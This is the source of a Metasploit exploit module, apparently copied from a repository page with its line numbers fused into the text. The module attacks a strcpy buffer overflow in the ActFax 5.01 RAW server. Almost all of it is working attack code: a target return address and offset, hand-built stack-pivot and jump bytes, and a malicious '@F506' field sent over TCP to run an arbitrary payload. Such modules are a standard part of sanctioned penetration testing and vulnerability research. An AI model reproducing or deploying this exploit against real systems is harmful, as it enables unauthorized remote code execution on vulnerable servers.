Path: blob/master/modules/exploits/windows/misc/actfax_raw_server_bof.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',15'Description' => %q{16This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW17Server can be used to transfer fax messages without any underlying protocols. To18note significant fields in the fax being transferred, like the fax number or the19recipient, ActFax data fields can be used. This module exploits a buffer overflow20in the handling of the @F506 fields due to the insecure usage of strcpy. This21module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).22},23'License' => MSF_LICENSE,24'Author' => [25'Craig Freyman', # @cd1zz # discovery and Metasploit module26'corelanc0d3r', # Metasploit module27'juan vazquez' # Metasploit module cleanup28],29'References' => [30[ 'OSVDB', '89944' ],31[ 'BID', '57789' ],32[ 'EDB', '24467' ],33[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]34],35'Platform' => 'win',36'Payload' => {37'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",38'DisableNops' => true,39'Space' => 1024,40'EncoderOptions' =>41{42'BufferRegister' => 'ECX'43}44},45'Targets' => [46[47'ActFax 5.01 / Windows XP SP3',48{49'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll50'Offset' => 102451}52],53],54'Privileged' => false,55'DisclosureDate' => '2013-02-05',56'DefaultTarget' => 0,57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)64end6566def exploit67connect68p = payload.encoded69buffer = p70buffer << rand_text(target['Offset'] - p.length)71buffer << [target.ret].pack("V")72buffer << "\x89\xe1" # mov ecx, esp73buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -102874buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -450075buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-104276print_status("Trying target #{target.name}...")77sock.put("@F506 " + buffer + "@\r\n\r\n")78disconnect79end80end818283